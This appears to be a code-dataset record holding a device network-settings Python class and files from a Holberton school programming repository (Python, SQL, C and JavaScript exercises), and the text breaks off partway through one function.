\"\"\"\n Get token\n :return: token\n \"\"\"\n try:\n token = self.ip_data[0]\n logger.debug(\"GET TOKEN OK!\")\n return token\n except Exception as e:\n logger.error(e.message)\n token = ''\n return token\n\n def get_server_addr(self):\n \"\"\"\n Get Server address\n :return: server_addr\n \"\"\"\n try:\n server_addr =self.ip_data[2]\n logger.debug(\"GET SERVER ADDRESS OK!\")\n return server_addr\n except Exception as e:\n logger.error(e.message)\n server_addr = \" \"\n return server_addr\n\n def get_mode(self):\n \"\"\"\n Get Device IP mode.\n :return:\n \"\"\"\n if self.os == 'debian':\n with open(self.path_ip, 'r') as inF:\n for line in inF:\n if 'dhcp' in line:\n mode = 'DHCP'\n break\n if 'static' in line:\n mode = 'Static'\n break\n inF.close()\n return mode\n else:\n if os.path.exists(self.path_ip):\n with open(self.path_ip, 'r') as inF:\n for line in inF:\n if 'dhcp' in line:\n mode = 'DHCP'\n break\n if 'static' in line:\n mode = 'Static'\n break\n inF.close()\n else:\n mode = 'DHCP'\n return mode\n\n def get_dns(self):\n \"\"\"\n Get DNS SERVER IP Address\n :return: nameservers\n \"\"\"\n nameservers = []\n\n try:\n rconf = open(self.dns_file, \"r\")\n line = rconf.readline()\n while line:\n try:\n ip = re.search(r\"\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\b\", line).group()\n nameservers.append(ip)\n\n except:\n line = rconf.readline()\n continue\n line = rconf.readline()\n rconf.close()\n return nameservers\n except Exception as e:\n logger.error(e.message)\n return nameservers\n\n\nclass Update_Setting():\n \"\"\"\n Update settings\n \"\"\"\n\n def __init__(self):\n self.os = platform.dist()[0]\n if self.os == 'debian':\n self.path_ip = '/etc/network/interfaces'\n self.dns_file = '/etc/resolv.conf'\n else:\n logger.debug(\"Arch\")\n self.path_ip = '/etc/netctl/'\n self.dns_file = '/etc/resolv.conf'\n\n # ---------------------------Generate Token-------------------------------\n def generate_token(self):\n token = str(uuid.uuid4())\n if token is None:\n logger.error('None TOKEN GENERATE')\n else:\n logger.debug('TOKEN GENERATE OK!')\n return token\n\n # --------------------------- Change Ip to Static -------------------------\n def static(self, address, subnet, gateway):\n if self.os == 'debian':\n full_path = os.path.join(self.path_ip)\n fo = open(full_path, \"w+\")\n content = \"auto lo\\n\" \\\n \"iface lo inet loopback\\n\" \\\n \"\\n\" \\\n \"auto eth0\\n\" \\\n \"iface eth0 inet static\\n\" \\\n \"address \" + address + \"\\n\" + \"gateway \" + gateway + \"\\n\" + \"netmask\" + subnet + \"\\n\"\n fo.write(content)\n fo.close()\n os.system(\"sudo /etc/init.d/networking restart\")\n\n else:\n full_path = os.path.join(self.path_ip, \"eth0\")\n fo = open(full_path, \"w+\")\n content = \"Interface=eth0\\nConnection=ethernet\\nIP=static\\nAddress=(\\'\" + \\\n address + \"\\')\\nNetmask=(\\'\" + \\\n subnet + \"\\')\\nGateway=(\\'\" + \\\n gateway + \"\\')\\n\"\n fo.write(content)\n fo.close()\n os.system(\"sudo netctl start eth0\")\n os.system(\"sudo netctl enable eth0\")\n\n def dhcp(self):\n \"\"\"\n Change IP for dhcp\n :return:\n \"\"\"\n if self.os == 'debian':\n full_path = os.path.join(self.path_ip)\n fo = open(full_path, \"w+\")\n content = \"auto lo\\n\" \\\n \"iface lo inet loopback\\n\" \\\n \"\\n\" \\\n \"auto eth0\\n\" \\\n \"iface eth0 inet \\n\"\n fo.write(content)\n fo.close()\n os.system(\"sudo /etc/init.d/networking restart\")\n\n else:\n full_path = os.path.join(self.path_ip, \"eth0\")\n fo = open(full_path, \"w+\")\n content = \"Interface=eth0\\nConnection=ethernet\\nIP=dhcp\\n\"\n fo.write(content)\n fo.close()\n os.system(\"sudo netctl start eth0\")\n os.system(\"sudo netctl enable eth0\")\n\n\n def update_host(self, hostname=\"\"):\n \"\"\"\n Change hostname\n :param hostname:\n :return:\n \"\"\"\n if self.os == 'debian':\n hosts_file = '/etc/hosts'\n hostname_file = '/etc/hostname'\n f_hostname = open(hostname_file, \"r\")\n old_hostname = f_hostname.readline()\n old_hostname = old_hostname.replace('\\n', '')\n old_hostname = old_hostname.strip()\n f_hostname.close()\n f_hostname = open(hostname_file, \"w\")\n f_hostname.write(hostname)\n f_hostname.close()\n\n f_hosts = open(hosts_file, \"r\")\n set_host = f_hosts.read()\n f_hosts.close()\n set_host_file = open(hosts_file, \"w\")\n content = set_host.replace(old_hostname, hostname)\n set_host_file.write(content)\n set_host_file.close()\n else:\n os.system(\"hostnamectl set-hostname \" + hostname)\n\n def dns(self, dns_1=\"\", dns_2=\"\"):\n \"\"\"\n Change DNS name\n :param dns_1:\n :param dns_2:\n :return:\n \"\"\"\n\n f_dns = open(self.dns_file, \"w\")\n if dns_1 != \"\":\n f_dns.writelines(\"nameserver\" + \" \" + dns_1 + \"\\n\")\n\n if dns_2 != \"\":\n f_dns.writelines(\"nameserver\" + \" \" + dns_2 + \"\\n\")\n f_dns.close()\n" } ]
21
Brandixitor/holbertonschool-higher_level_programming
https://github.com/Brandixitor/holbertonschool-higher_level_programming
042a6a433ef045af04acb2864521fffd9725a66e
6bfa61eeb7915690c4a18be64635d79799589117
fcfc39c121b9e2501ee9350f9010e61c8d07ee1c
refs/heads/main
2023-04-19T03:13:43.208570
2021-05-12T11:33:43
2021-05-12T11:33:43
319,438,555
3
2
null
null
null
null
null
[ { "alpha_fraction": 0.4362017810344696, "alphanum_fraction": 0.5074183940887451, "avg_line_length": 24.923076629638672, "blob_id": "2e18e1e6393ee0c332d4a2c99a23450d3a611ac0", "content_id": "02372cf52171f6e89cc07500e9c3a7af1303b347", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 337, "license_type": "no_license", "max_line_length": 62, "num_lines": 13, "path": "/0x04-python-more_data_structures/10-best_score.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef best_score(a_dictionary):\n if (a_dictionary is None or len(list(a_dictionary)) == 0):\n return None\n key = -999999999999999999999\n res = \"\"\n for i in a_dictionary:\n v = a_dictionary[i]\n v = (v, -v)[v < 0]\n if (v > key):\n key = v\n res = i\n return res\n" }, { "alpha_fraction": 0.5288907885551453, "alphanum_fraction": 0.5318431258201599, "avg_line_length": 27.566265106201172, "blob_id": "917a171b2420967821cc3edfe8a7e6cf4bbca2a9", "content_id": "da269704584b7faff9e9fbc13f8f4a0d9e9d405b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2379, "license_type": "no_license", "max_line_length": 74, "num_lines": 83, "path": "/0x0C-python-almost_a_circle/models/base.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n This class will be the “base” of all other classes in this project.\n The goal of it is to manage id attribute in all your future classes\n and to avoid duplicating the same code\n\"\"\"\nimport json\n\n\nclass Base:\n \"\"\"\n This class will be the “base” of all other classes in this project.\n The goal of it is to manage id attribute in all your future classes\n and to avoid duplicating the same code\n \"\"\"\n\n __nb_objects = 0\n\n def __init__(self, id=None):\n self.id = id\n if id is None:\n Base.__nb_objects += 1\n self.id = self.__nb_objects\n\n @staticmethod\n def to_json_string(list_dictionaries):\n \"\"\"\n returns the JSON string representation of list_dictionaries\n \"\"\"\n if list_dictionaries is None or len(list_dictionaries) == 0:\n return \"[]\"\n return json.dumps(list_dictionaries)\n\n @classmethod\n def save_to_file(cls, list_objs):\n \"\"\"\n writes the JSON string representation of list_objs to a file\n \"\"\"\n filename = cls.__name__ + \".json\"\n l = []\n with open(filename, \"w\") as f:\n if list_objs is not None:\n for i in list_objs:\n l.append(i.to_dictionary())\n l = cls.to_json_string(l)\n f.write(l)\n\n def from_json_string(json_string):\n \"\"\"\n returns the list of the JSON string representation json_string\n \"\"\"\n if json_string is None:\n return []\n return json.loads(json_string)\n\n @classmethod\n def create(cls, **dictionary):\n \"\"\"\n returns an instance with all attributes already set\n \"\"\"\n if cls.__name__ == \"Rectangle\":\n instance = cls(1, 2)\n else:\n instance = cls(1)\n instance.update(**dictionary)\n return instance\n\n @classmethod\n def load_from_file(cls):\n \"\"\"\n returns a list of instances\n \"\"\"\n instance = []\n filename = cls.__name__ + \".json\"\n try:\n with open(filename, \"r\") as f:\n content = f.read()\n myobj = cls.from_json_string(content)\n for i in myobj:\n instance.append(cls.create(**i))\n return instance\n except:\n return []\n" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 18.25, "blob_id": "c7545db6c69d352bf90dcd1b93613cb6378852e9", "content_id": "afde64220ef5c01ed97db28f1e46847a1833d812", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 77, "license_type": "no_license", "max_line_length": 26, "num_lines": 4, "path": "/0x09-python-everything_is_object/100-magic_string.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef magic_string():\n i += 1\n print(\"Holberton\" * i)\n" }, { "alpha_fraction": 0.4170095920562744, "alphanum_fraction": 0.43209877610206604, "avg_line_length": 28.15999984741211, "blob_id": "f955b85ca54d2ab7d4e30851f4d0fcf5d115258c", "content_id": "d731c4374f15a0b892817e41878f635f3bab3044", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 729, "license_type": "no_license", "max_line_length": 52, "num_lines": 25, "path": "/0x07-python-test_driven_development/5-text_indentation.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef text_indentation(text):\n if type(text) != str:\n raise TypeError(\"text must be a string\")\n l = (\".\", \"?\", \":\")\n k = 0\n x = [x for x in text.split(\" \") if x.strip()]\n nbwords = len(x)\n for i in range(nbwords):\n wordlen = len(x[i])\n for c in range(wordlen):\n char = x[i][c]\n print(char, end=\"\")\n if char in l:\n k = 1\n print(\"\\n\" * 2, end=\"\")\n if i == nbwords - 2:\n if x[i + 1] in l:\n k = 1\n if k == 0 and i != nbwords - 1:\n print(\" \", end=\"\")\n k = 0\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/5-text_indentation.txt\")\n" }, { "alpha_fraction": 0.5951035618782043, "alphanum_fraction": 0.6101694703102112, "avg_line_length": 23.136363983154297, "blob_id": "6be58ef1a2e64047b9a84973c97bc3b65869ac68", "content_id": "65397c3ded41c39df4dba5864e9efee517ae765e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 531, "license_type": "no_license", "max_line_length": 57, "num_lines": 22, "path": "/0x0A-python-inheritance/7-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nBaseGeometry = __import__('7-base_geometry').BaseGeometry\n\nbg = BaseGeometry()\n\nbg.integer_validator(\"my_int\", 12)\nbg.integer_validator(\"width\", 89)\n\ntry:\n bg.integer_validator(\"name\", \"John\")\nexcept Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n\ntry:\n bg.integer_validator(\"age\", 0)\nexcept Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n\ntry:\n bg.integer_validator(\"distance\", -4)\nexcept Exception as e:\n print(\"[{}] {}\".format(e.__class__.__name__, e))\n" }, { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.6228287816047668, "avg_line_length": 39.29999923706055, "blob_id": "d0e6f1fdc24d296cf5676b29d2684ebc1e1aae2a", "content_id": "7900aa34205853c87b6edac74ccb8c69504b44be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 403, "license_type": "no_license", "max_line_length": 57, "num_lines": 10, "path": "/0x07-python-test_driven_development/3-say_my_name.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef say_my_name(first_name, last_name=\"\"):\n if type(first_name) != str or len(first_name) is 0:\n raise TypeError(\"first_name must be a string\")\n if type(last_name) != str:\n raise TypeError(\"last_name must be a string\")\n print(\"My name is\", first_name, last_name)\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/3-say_my_name.txt\")\n" }, { "alpha_fraction": 0.5761194229125977, "alphanum_fraction": 0.5880597233772278, "avg_line_length": 26.91666603088379, "blob_id": "d370b31a8fc022bd24bc454d95f88c0f616d6567", "content_id": "45207c53e8130286a3cc2141e6166bcd9f836ca8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 335, "license_type": "no_license", "max_line_length": 50, "num_lines": 12, "path": "/0x07-python-test_driven_development/4-print_square.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef print_square(size):\n if type(size) is not int:\n raise TypeError(\"size must be an integer\")\n if size < 0:\n raise ValueError(\"size must be >= 0\")\n\n for i in range(size):\n print(\"#\" * size)\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/4-print_square.txt\")\n" }, { "alpha_fraction": 0.38235294818878174, "alphanum_fraction": 0.42941176891326904, "avg_line_length": 33, "blob_id": "51f5f0ef7b7c7e4486c2e9f2def58abc2bb6b474", "content_id": "a25edb7def633268bdc9031581c8bb38b131a6c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 170, "license_type": "no_license", "max_line_length": 54, "num_lines": 5, "path": "/0x01-python-if_else_loops_functions/6-print_comb3.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nfor x in range(0, 9):\n for w in range(x + 1, 10):\n print(\"{}{}\".format(x, w), end=\"\")\n print((\", \", \"\\n\")[x == 8 and w == 9], end=\"\")\n" }, { "alpha_fraction": 0.5995762944221497, "alphanum_fraction": 0.6048728823661804, "avg_line_length": 36.7599983215332, "blob_id": "cd5eae68848a9009959fb821abdda7ab189decef", "content_id": "e6c988a4959ed0045ed67a4b3d94484bf10929e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 944, "license_type": "no_license", "max_line_length": 75, "num_lines": 25, "path": "/0x07-python-test_driven_development/2-matrix_divided.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef matrix_divided(matrix, div):\n types = (int, float)\n errorMsg = \"matrix must be a matrix (list of lists) of integers/floats\"\n if type(matrix) is not list:\n raise TypeError(errorMsg)\n if (isinstance(div, types) is False):\n raise TypeError(\"div must be a number\")\n c = list(map(lambda x:\n list(map(lambda i: isinstance(i, types), x)), matrix))\n for i in c:\n if False in i:\n raise TypeError(errorMsg)\n matrixlen = list(map(lambda x: len(x), matrix))\n if (len(set(matrixlen)) != 1):\n raise TypeError(\"Each row of the matrix must have the same size\")\n if div is 0:\n raise ZeroDivisionError(\"division by zero\")\n new_matrix = list(map(lambda x: list(map(lambda i:\n round(i / div, 2), x)), matrix))\n return (new_matrix)\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/2-matrix_divided.txt\")\n" }, { "alpha_fraction": 0.548701286315918, "alphanum_fraction": 0.5616883039474487, "avg_line_length": 24.66666603088379, "blob_id": "00843ff417f899fb71d6cad5e2afb8635ab56d4c", "content_id": "a457469a6b506d17649418c707c33b73b742db46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 616, "license_type": "no_license", "max_line_length": 60, "num_lines": 24, "path": "/0x0A-python-inheritance/11-square.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n Square that inherits from Rectangle (9-rectangle.py).\n (task based on 10-square.py).\n\"\"\"\n\nRectangle = __import__('9-rectangle').Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"\n Square that inherits from Rectangle (9-rectangle.py).\n (task based on 10-square.py).\n \"\"\"\n def __init__(self, size):\n self.integer_validator(\"size\", size)\n Rectangle.__init__(self, size, size)\n self.__size = size\n\n def __str__(self):\n \"\"\"\n return a string with \"[Square] size/size\"\n \"\"\"\n return \"[Square] %d/%d\" % (self.__size, self.__size)\n" }, { "alpha_fraction": 0.6353535056114197, "alphanum_fraction": 0.6424242258071899, "avg_line_length": 23.75, "blob_id": "c47f4bae73e03b4ab8659ff16e87b607d4a22941", "content_id": "81f6f52edf98479d157aeb72403aa92b51777206", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 990, "license_type": "no_license", "max_line_length": 77, "num_lines": 40, "path": "/0x0F-python-object_relational_mapping/10-model_state_my_get.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nScript that prints the `State` object in `hbtn_0e_0_usa`\nwhere `name` matches the argument `state name to search`.\n\nArguments:\n mysql username (str)\n mysql password (str)\n database name (str)\n state name to search (str)\n\"\"\"\n\nimport sys\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.engine.url import URL\nfrom model_state import Base, State\n\n\nif __name__ == \"__main__\":\n mySQL_u = sys.argv[1]\n mySQL_p = sys.argv[2]\n db_name = sys.argv[3]\n\n st_name = sys.argv[4]\n\n url = {'drivername': 'mysql+mysqldb', 'host': 'localhost',\n 'username': mySQL_u, 'password': mySQL_p, 'database': db_name}\n\n engine = create_engine(URL(**url), pool_pre_ping=True)\n Base.metadata.create_all(engine)\n\n session = Session(bind=engine)\n\n q = session.query(State).filter(State.name == st_name).order_by(State.id)\n\n if q.first():\n print(q.first().id)\n else:\n print(\"Not found\")\n" }, { "alpha_fraction": 0.7727272510528564, "alphanum_fraction": 0.7727272510528564, "avg_line_length": 32.5, "blob_id": "7ec34c92090a6ae14dc02c761d3e8be04856f134", "content_id": "1304320f75b85f73df5f8aae7d327a5da33b975a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 66, "license_type": "no_license", "max_line_length": 54, "num_lines": 2, "path": "/0x0D-SQL_introduction/3-list_tables.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- SQL script that lists all the tables of a database.\nSHOW TABLES" }, { "alpha_fraction": 0.6447497606277466, "alphanum_fraction": 0.6526005864143372, "avg_line_length": 25.8157901763916, "blob_id": "b1d6c9987bc4a18e497d32e6b9c84a0e7c77d0ea", "content_id": "3cfce20c351ddcd3abeaaa256edf564044a2080f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1019, "license_type": "no_license", "max_line_length": 76, "num_lines": 38, "path": "/0x0F-python-object_relational_mapping/101-relationship_states_cities_list.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nScript that lists all `State` objects, and corresponding\n`City` objects, contained in the database `hbtn_0e_101_usa`.\n\nArguments:\n mysql username (str)\n mysql password (str)\n database name (str)\n\"\"\"\n\nimport sys\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.engine.url import URL\nfrom relationship_state import Base, State\nfrom relationship_city import City\n\n\nif __name__ == \"__main__\":\n mySQL_u = sys.argv[1]\n mySQL_p = sys.argv[2]\n db_name = sys.argv[3]\n\n url = {'drivername': 'mysql+mysqldb', 'host': 'localhost',\n 'username': mySQL_u, 'password': mySQL_p, 'database': db_name}\n\n engine = create_engine(URL(**url), pool_pre_ping=True)\n Base.metadata.create_all(engine)\n\n session = Session(bind=engine)\n\n states = session.query(State)\n\n for state in states:\n print(\"{}: {}\".format(state.id, state.name))\n for city in state.cities:\n print(\"\\t{}: {}\".format(city.id, city.name))\n" }, { "alpha_fraction": 0.5748963952064514, "alphanum_fraction": 0.5831853151321411, "avg_line_length": 19.851852416992188, "blob_id": "1cad4674296a08eb44ac2efe3176379b7d350e0c", "content_id": "fbd86f97b5009643ba986f61c1506ce8935fac8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1689, "license_type": "no_license", "max_line_length": 61, "num_lines": 81, "path": "/0x01-python-if_else_loops_functions/13-insert_number.c", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n/**\n * findPos - find the position of the hval / lowval\n * @hval: Highest value of head->n\n * @lowval: Lowest value of head->n\n * Return: return the current position\n**/\nint findPos(int hval, int lowval)\n{\n\tint max = 0, low = 0, pos = 0;\n\n\tif (lowval == 0 && hval == 0)\n\t\treturn (0);\n\twhile (max < hval || max < lowval)\n\t\tmax++;\n\tlow = hval > lowval ? lowval : hval;\n\tmax = hval < lowval ? lowval : hval;\n\twhile (pos < low && pos < max)\n\t\tpos++;\n\tif (pos < lowval)\n\t{\n\t\twhile (pos < lowval)\n\t\t\tpos++;\n\t}\n\tif (lowval > hval && pos == lowval)\n\t\tpos--;\n\treturn (pos);\n}\n/**\n * insert_node - function in C that inserts a number into\n * a sorted singly linked list.\n * @head: pointer to pointer of first node of listint_t list\n * @number: number to insert into the sorted linked list\n * Return: Updated list with the new sorted linked list\n**/\nlistint_t *insert_node(listint_t **head, int number)\n{\n\tlistint_t *count = *head, *current = *head, *new;\n\tint lowval = 0, highval = 0, i = 0, pos = 0;\n\n\tnew = malloc(sizeof(listint_t));\n\tif (new == NULL)\n\t\treturn (NULL);\n\tnew->n = number;\n\tnew->next = NULL;\n\tif (*head == NULL)\n\t{\n\t\t*head = new;\n\t\treturn (new);\n\t}\n\twhile (count)\n\t{\n\t\tif (count->n > number)\n\t\t\thighval++;\n\t\tif (count->n < number)\n\t\t\tlowval++;\n\t\tcount = count->next;\n\t}\n\tpos = findPos(highval, lowval);\n\tfor (i = 0; current; i++, current = current->next)\n\t{\n\t\tif (pos == 0 && i == 0)\n\t\t{\n\t\t\tnew->next = *head;\n\t\t\t*head = new;\n\t\t}\n\t\tif (i == pos && pos != 0)\n\t\t{\n\t\t\tnew->next = current->next;\n\t\t\tcurrent->next = new;\n\t\t}\n\t}\n\tif (pos == i)\n\t{\n\t\tcurrent = *head;\n\t\twhile (current->next != NULL)\n\t\t\tcurrent = current->next;\n\t\tcurrent->next = new;\n\t}\n\treturn (new);\n}\n" }, { "alpha_fraction": 0.5565093159675598, "alphanum_fraction": 0.5722460746765137, "avg_line_length": 23.964284896850586, "blob_id": "9f52fdf8403c5203512535e7b94b7d0107966b49", "content_id": "c508e3d12917cde2af99d0e4d8ce6235c1f22b1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 699, "license_type": "no_license", "max_line_length": 70, "num_lines": 28, "path": "/0x07-python-test_driven_development/0-add_integer.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\" This is the \"0-add_integer\" module.\nThe example module supplies one function, add_integer(). For example,\n>>> add_integer(1,2)\n3\n\"\"\"\n\n\ndef add_integer(a, b=98):\n \"\"\"\n Return the sum of a and b\n \"\"\"\n types = (int, float)\n l = (isinstance(a, types), isinstance(b, types))\n if (l[0] is False):\n raise TypeError(\"a must be an integer\")\n if (l[1] is False):\n raise TypeError(\"b must be an integer\")\n res = a + b\n if res < 0:\n res = -res\n if res == float(\"inf\"):\n raise ValueError(\"float overflow\")\n return (int(a) + int(b))\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/0-add_integer.txt\")\n" }, { "alpha_fraction": 0.6058823466300964, "alphanum_fraction": 0.6352941393852234, "avg_line_length": 17.88888931274414, "blob_id": "f81a4538003f8a970a1df95dbb41927984f9de8a", "content_id": "89601c3f58077002e52f8a44cbac2e6ea5e230b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 340, "license_type": "no_license", "max_line_length": 44, "num_lines": 18, "path": "/0x06-python-classes/3-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nSquare = __import__('3-square').Square\n\nmy_square_1 = Square(3)\nprint(\"Area: {}\".format(my_square_1.area()))\n\ntry:\n print(my_square_1.size)\nexcept Exception as e:\n print(e)\n\ntry:\n print(my_square_1.__size)\nexcept Exception as e:\n print(e)\n\nmy_square_2 = Square(5)\nprint(\"Area: {}\".format(my_square_2.area()))\n" }, { "alpha_fraction": 0.5850746035575867, "alphanum_fraction": 0.5910447835922241, "avg_line_length": 29.454545974731445, "blob_id": "ba8f7816a7971894d3ec5db102a3ea656433deef", "content_id": "9b58319b104e4c6edfb653b61fa38c22812fe25f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 335, "license_type": "no_license", "max_line_length": 56, "num_lines": 11, "path": "/0x04-python-more_data_structures/102-complex_delete.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef complex_delete(a_dictionary, value):\n if (a_dictionary is None or len(a_dictionary) == 0):\n return a_dictionary\n del_items = []\n for a, b in a_dictionary.items():\n if (b == value):\n del_items.append(a)\n for i in del_items:\n del a_dictionary[i]\n return a_dictionary\n" }, { "alpha_fraction": 0.739130437374115, "alphanum_fraction": 0.739130437374115, "avg_line_length": 23, "blob_id": "573431010ca9fb8eea93e1e49deca5b333f8ecc5", "content_id": "a2ed8002de2af54a055b9e1ba3ccf00236fadf52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23, "license_type": "no_license", "max_line_length": 23, "num_lines": 1, "path": "/0x0B-python-input_output/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# Python - Input/Output" }, { "alpha_fraction": 0.621004581451416, "alphanum_fraction": 0.6347032189369202, "avg_line_length": 18.909090042114258, "blob_id": "47e7b24b33e864cf3879a44204649ac8407ac3ad", "content_id": "84a238c2a1af15884684906bf5790df8a8af101f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 219, "license_type": "no_license", "max_line_length": 53, "num_lines": 11, "path": "/0x13-javascript_objects_scopes_closures/101-sorted.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconst dict = require('./101-data').dict;\nconst output = {};\n\nfor (const entry in dict) {\n if (!output[dict[entry]]) output[dict[entry]] = [];\n output[dict[entry]].push(entry);\n}\n\nconsole.log(output);\n" }, { "alpha_fraction": 0.6907894611358643, "alphanum_fraction": 0.6973684430122375, "avg_line_length": 49.66666793823242, "blob_id": "070e439d870c195d56c2886dcea4005a4e3a19d2", "content_id": "10af5bf6b975322b92aef25d1de2a073615c9b0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 152, "license_type": "no_license", "max_line_length": 80, "num_lines": 3, "path": "/0x10-python-network_0/5-post_params.sh", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Displays the body of the response of a curl POST request\ncurl -sX POST -d \"[email protected]\" -d \"subject=I will always be here for PLD\" \"$1\"\n" }, { "alpha_fraction": 0.7623762488365173, "alphanum_fraction": 0.7656765580177307, "avg_line_length": 37, "blob_id": "67320d460afa8776ec30d738d3bf24fe7412e756", "content_id": "da4542bbc27bc1d7f4a6817abc006a233f6249cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 303, "license_type": "no_license", "max_line_length": 81, "num_lines": 8, "path": "/0x0E-SQL_more_queries/14-my_genres.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- that uses the hbtn_0d_tvshows database to lists all genres of the show Dexter\nSELECT tv_genres.name FROM tv_genres\nINNER JOIN tv_show_genres\nON tv_genres.id = tv_show_genres.genre_id\nINNER JOIN tv_shows\nON tv_show_genres.show_id = tv_shows.id\nWHERE tv_shows.title = \"Dexter\"\nORDER BY tv_genres.name;" }, { "alpha_fraction": 0.5947712659835815, "alphanum_fraction": 0.5947712659835815, "avg_line_length": 12.909090995788574, "blob_id": "830c46941f8099d7e5d22b7f614b88136dcf882e", "content_id": "ec90f480e7e23e4b27621acbb35e0c8b9ca25a99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 153, "license_type": "no_license", "max_line_length": 35, "num_lines": 11, "path": "/0x13-javascript_objects_scopes_closures/8-esrever.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nexports.esrever = function (list) {\n const output = [];\n\n while (list.length) {\n output.push(list.pop());\n }\n\n return output;\n};\n" }, { "alpha_fraction": 0.46422019600868225, "alphanum_fraction": 0.47706422209739685, "avg_line_length": 19.961538314819336, "blob_id": "f8d88972fc7770224540bf44d194d8a305594183", "content_id": "a7d7b12722246284d37b4a9aea3a07c39b40d6f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 549, "license_type": "no_license", "max_line_length": 43, "num_lines": 26, "path": "/0x0B-python-input_output/12-pascal_triangle.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\neturns a list of lists of integers\nrepresenting the Pascal’s triangle of n\n\"\"\"\n\n\ndef pascal_triangle(n):\n \"\"\"\n eturns a list of lists of integers\n representing the Pascal’s triangle of n\n \"\"\"\n if n <= 0:\n return []\n res = []\n l = []\n for x in range(n):\n row = []\n for y in range(x + 1):\n if x 